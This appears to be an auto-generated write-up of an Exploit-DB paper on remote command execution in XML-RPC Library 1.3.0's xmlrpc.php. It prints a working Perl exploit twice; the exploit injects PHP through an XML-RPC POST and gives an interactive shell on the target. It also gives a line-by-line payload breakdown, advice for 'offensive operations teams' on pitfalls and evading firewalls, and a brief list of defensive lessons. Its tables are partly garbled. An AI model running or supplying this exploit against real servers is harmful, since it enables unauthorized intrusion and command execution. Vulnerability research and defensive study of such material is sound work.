Exploiting XML-RPC Library 1.3.0: Remote Command Execution via xmlrpc.php

Exploiting XML-RPC Library 1.3.0: Remote Command Execution via xmlrpc.php
What this paper is
This paper details a vulnerability in the XML-RPC Library version 1.3.0, specifically within its xmlrpc.php script. The vulnerability allows an attacker to execute arbitrary commands on the server hosting the vulnerable application. The exploit code provided is a Perl script that leverages this vulnerability to achieve remote command execution.
Simple technical breakdown
The core of the vulnerability lies in how the xmlrpc.php script handles user-supplied data within its XML-RPC requests. It appears to be susceptible to injection, allowing specially crafted XML data to be interpreted as executable PHP code. The exploit works by sending a POST request to the xmlrpc.php script with a malicious XML payload. This payload tricks the script into executing a command provided by the attacker and then printing the output of that command back to the attacker.
Complete code and payload walkthrough
The provided Perl script is designed to interact with a vulnerable web server. Let's break down its components:
#!/usr/bin/perl
use IO::Socket;
print "XMLRPC remote commands execute exploit by dukenn (http://asteam.org)\n";
if ($ARGV[0] && $ARGV[1])
{
$host = $ARGV[0];
$xml = $ARGV[1];
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "connecterror\n";
while (1) {
print '['.$host.']# ';
$cmd = <STDIN>;
chop($cmd);
last if ($cmd eq 'exit');
$xmldata = "<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_\n';echo `".$cmd."`;echo '_end_';exit;/*</name></value></param></params></methodCall>";
print $sock "POST ".$xml." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: text/xml\n";
print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
$good=0;
while ($ans = <$sock>)
{
if ($good == 1) { print "$ans"; }
last if ($ans =~ /^_end_/);
if ($ans =~ /^_begin_/) { $good = 1; }
}
if ($good==0) {print "Exploit Failed\n";exit();}
}
}
else {
print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n";
print "Example: perl xml.pl target.com /script/xmlrpc.php\n";
exit;
}| Code Fragment/Block | Practical Purpose |
|---|---|
#!/usr/bin/perl |
Shebang line, indicating the script should be executed with the Perl interpreter. |
use IO::Socket; |
Imports the IO::Socket module, which is essential for network communication (creating TCP sockets). |
print "XMLRPC remote commands execute exploit by dukenn (http://asteam.org)\n"; |
Prints an introductory message, identifying the exploit and its author. |
if ($ARGV[0] && $ARGV[1]) { ... } else { ... } |
Checks if two command-line arguments are provided. If not, it prints usage instructions and exits. |
$host = $ARGV[0]; |
Assigns the first command-line argument (the target hostname or IP address) to the $host variable. |
$xml = $ARGV[1]; |
Assigns the second command-line argument (the path to the xmlrpc.php script on the target) to the $xml variable. |
| `$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") | |
while (1) { ... } |
Enters an infinite loop to allow for interactive command execution. |
print '['.$host.']# '; |
Displays a prompt indicating the target host, similar to a command-line shell. |
$cmd = <STDIN>; |
Reads a command entered by the user from standard input. |
chop($cmd); |
Removes the trailing newline character from the entered command. |
last if ($cmd eq 'exit'); |
If the user types "exit", the loop breaks, and the script terminates. |
$xmldata = "<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_\n';echo ".$cmd.";echo '_end_';exit;/*</name></value></param></params></methodCall>"; |
This is the core of the exploit payload. It constructs an XML string. Let's break this down further: |
* `"<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><name>"`: This is the initial part of a standard XML-RPC method call. The `test.method` is likely a placeholder or a method that exists and is processed in a way that allows for injection.
* `',''));echo '_begin_\n';echo `".$cmd."`;echo '_end_';exit;/*`: This is the injected PHP code.
* `','`: This part likely closes a string or a parameter value that was expected by the vulnerable `test.method`.
* `));`: This closes a function call.
* `echo '_begin_\n';`: This prints a marker string `_begin_` followed by a newline. This is used by the client script to identify the start of the command output.
* `echo `".$cmd."`;`: This is the critical part. The backticks (``) in PHP execute a command and return its output. The `$cmd` variable, which holds the user's input command, is directly embedded here, leading to remote command execution.
* `echo '_end_';`: This prints a marker string `_end_` to signify the end of the command output.
* `exit;`: This terminates the PHP script execution immediately after the command has been run and its output captured.
* `/*`: This is a comment that likely closes any remaining open PHP code or syntax, preventing further errors.
* `</name></value></param></params></methodCall>"`: This closes the XML structure.print $sock "POST ".$xml." HTTP/1.1\n"; | Sends the HTTP POST request line, specifying the path to the xmlrpc.php script.print $sock "Host: ".$host."\n"; | Sends the Host header with the target's hostname.print $sock "Content-Type: text/xml\n"; | Sends the Content-Type header, indicating that the request body is XML.print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata; | Sends the Content-Length header, specifying the size of the XML data, followed by the XML data itself. The double newline \n\n separates the headers from the body.$good=0; | Initializes a flag to track if the exploit was successful.while ($ans = <$sock>) { ... } | Reads the response from the server line by line.if ($good == 1) { print "$ans"; } | If the good flag is set (meaning we are within the command output), print the received line to the user's console.last if ($ans =~ /^_end_/); | If the line matches the _end_ marker, it means we have received all the command output, so we break out of the response reading loop.if ($ans =~ /^_begin_/) { $good = 1; } | If the line matches the _begin_ marker, set the good flag to 1, indicating that subsequent lines are command output.if ($good==0) {print "Exploit Failed\n";exit();} | If after reading the entire response, the good flag is still 0, it means the _begin_ marker was not found, and the exploit failed. An error message is printed, and the script exits.print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n"; print "Example: perl xml.pl target.com /script/xmlrpc.php\n"; exit; | This block is executed if the initial argument check fails, providing instructions on how to use the script.
| Payload Segment | Action |
|---|---|
<?xml version="1.0"?><methodCall><methodName>test.method</methodName><params><param><value><name> |
Initiates an XML-RPC method call, targeting test.method. |
',''));echo '_begin_\n'; |
Injects PHP code to start capturing output. The ',' and )); are likely syntax closers for the expected XML-RPC parameters. echo '_begin_\n'; prints a marker. |
echo .$cmd.; |
Executes the user-provided command ($cmd) using PHP's backtick operator and captures its standard output. |
echo '_end_';exit;/* |
Prints an end marker (_end_) and terminates the PHP script. /* is a comment to clean up syntax. |
</name></value></param></params></methodCall> |
Closes the XML structure. |
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server on port 80 (HTTP) or 443 (HTTPS, if the
xmlrpc.phpis served over SSL and the script is modified to useSSL => 1inIO::Socket::INET->new). No local access or prior authentication is required if thexmlrpc.phpscript is directly accessible. - Lab Preconditions:
- A target system with the vulnerable XML-RPC Library 1.3.0 installed and
xmlrpc.phpaccessible via HTTP. - A Kali Linux or similar attacker machine with Perl installed.
- Network connectivity between the attacker and target.
- A target system with the vulnerable XML-RPC Library 1.3.0 installed and
- Tooling Assumptions:
- Perl interpreter.
IO::Socketmodule (standard Perl module).- A web browser or
curlcan be used to verify the existence and accessibility ofxmlrpc.phpbefore running the exploit.
- Execution Pitfalls:
- Incorrect Path: Providing the wrong path to
xmlrpc.phpwill result in the exploit failing. - Firewall/WAF: Network firewalls or Web Application Firewalls (WAFs) might block the POST requests or detect the malicious payload.
- PHP Configuration: If
allow_url_fopenordisable_functionsinphp.iniare misconfigured, theechocommand;might not work as expected, or certain commands might be blocked. - XML-RPC Implementation: The exploit relies on a specific way
test.methodis handled. If the library has been patched or uses a different method name, the exploit will fail. - Response Parsing: The exploit relies on the
_begin_and_end_markers. If the server's response is heavily modified or includes these strings naturally, the parsing could be disrupted. - Connection Issues: Network instability or incorrect host/port can lead to connection errors.
- Incorrect Path: Providing the wrong path to
- Expected Telemetry:
- Network Traffic: POST requests to the
xmlrpc.phpendpoint with XML payloads. TheContent-Lengthheader will be significant. - Web Server Logs: Access logs showing POST requests to
xmlrpc.php. Error logs might show PHP errors if the injection fails or ifexit()is triggered unexpectedly. - System Logs: If command execution is successful, system logs (e.g.,
/var/log/auth.log,/var/log/syslog, or application-specific logs) might record the execution of the commands issued by the attacker. - Process Execution: The web server process (e.g., Apache, Nginx) will spawn child processes to execute the commands. This can be detected by process monitoring tools.
- Network Traffic: POST requests to the
Where this was used and when
This exploit targets XML-RPC Library 1.3.0, which was published around 2005. Exploits of this nature were common in the mid-2000s when web application security was less mature. While this specific version might be rare today, the underlying principle of injecting executable code into web application parameters remains a relevant attack vector. It's likely this vulnerability was exploited in the wild by various actors for unauthorized access to web servers.
Defensive lessons for modern teams
- Input Validation and Sanitization: Always validate and sanitize all user-supplied input, especially when it's being incorporated into dynamic code execution or database queries.
- Secure Coding Practices: Avoid directly embedding user input into commands executed by the server. Use parameterized queries for databases and safe execution functions for system commands.
- Keep Software Updated: Regularly patch and update all web applications, libraries, and server software to fix known vulnerabilities.
- Web Application Firewalls (WAFs): Deploy and configure WAFs to detect and block common attack patterns, including XML injection and command injection.
- Principle of Least Privilege: Run web server processes with the minimum necessary privileges to limit the impact of a successful compromise.
- Monitor and Log: Implement robust logging and monitoring for web server access, application errors, and system process execution to detect suspicious activity.
- Disable Unused Features: If XML-RPC is not required, disable or remove the functionality entirely.
ASCII visual (if applicable)
This exploit involves a direct client-server interaction for command execution. A simple flow diagram can illustrate this:
+-----------------+ HTTP POST +-------------------+
| Attacker Client | -------------------> | Target Web Server |
| (Perl Exploit) | (XML Payload) | (xmlrpc.php) |
+-----------------+ +---------+---------+
|
| PHP Execution
| (Vulnerable)
v
+-------------------+
| OS Command |
| Execution (`cmd`) |
+---------+---------+
|
| Command Output
v
+-------------------+
| Target Web Server |
| (Response) |
+---------+---------+
|
| HTTP Response
| (with output)
v
+-----------------+ HTTP Response +-------------------+
| Attacker Client | <------------------- | Target Web Server |
| (Perl Exploit) | (Command Output) | |
+-----------------+ +-------------------+Source references
- Paper ID: 1083
- Paper Title: XML-RPC Library 1.3.0 - 'xmlrpc.php' Remote Command Execution (2)
- Author: dukenn
- Published: 2005-07-04
- Paper URL: https://www.exploit-db.com/papers/1083
- Raw Exploit URL: https://www.exploit-db.com/raw/1083
Original Exploit-DB Content (Verbatim)
#-------------------------------------------------------#
# /| #
# | | #
# | | #
# /\ ________| |___ #
# / \ \_______ __/ #
# / \|\_____ | | _ _ _ _ ()___ #
# / /\ \ ___ \ | |<_> / | | | || \ || | | | #
# / /__\ \| \ || | _ /__ |_ | | ||_/ || | |_| #
# / ______ \ | || || | / | | | || \ || | | #
# / / \ \ | || || | / |_ |_ |_|| \|| | \_| #
# \_/ |\_/ | || || | ___ _ _ #
# | | | || /| | | | | ||\/| #
# \| \||/ \| | |_ |_|| | #
# | | | || | #
# | |_ | || | #
# #
# Original advisory by http://gulftech.org/ #
# Exploit coded by dukenn (http://asteam.org) #
# #
#-------------------------------------------------------
#!/usr/bin/perl
use IO::Socket;
print "XMLRPC remote commands execute exploit by dukenn (http://asteam.org)\n";
if ($ARGV[0] && $ARGV[1])
{
$host = $ARGV[0];
$xml = $ARGV[1];
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "connecterror\n";
while (1) {
print '['.$host.']# ';
$cmd = <STDIN>;
chop($cmd);
last if ($cmd eq 'exit');
$xmldata = "<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_\n';echo `".$cmd."`;echo '_end_';exit;/*</name></value></param></params></methodCall>";
print $sock "POST ".$xml." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: text/xml\n";
print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
$good=0;
while ($ans = <$sock>)
{
if ($good == 1) { print "$ans"; }
last if ($ans =~ /^_end_/);
if ($ans =~ /^_begin_/) { $good = 1; }
}
if ($good==0) {print "Exploit Failed\n";exit();}
}
}
else {
print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n";
print "Example: perl xml.pl target.com /script/xmlrpc.php\n";
exit;
}
# milw0rm.com [2005-07-04]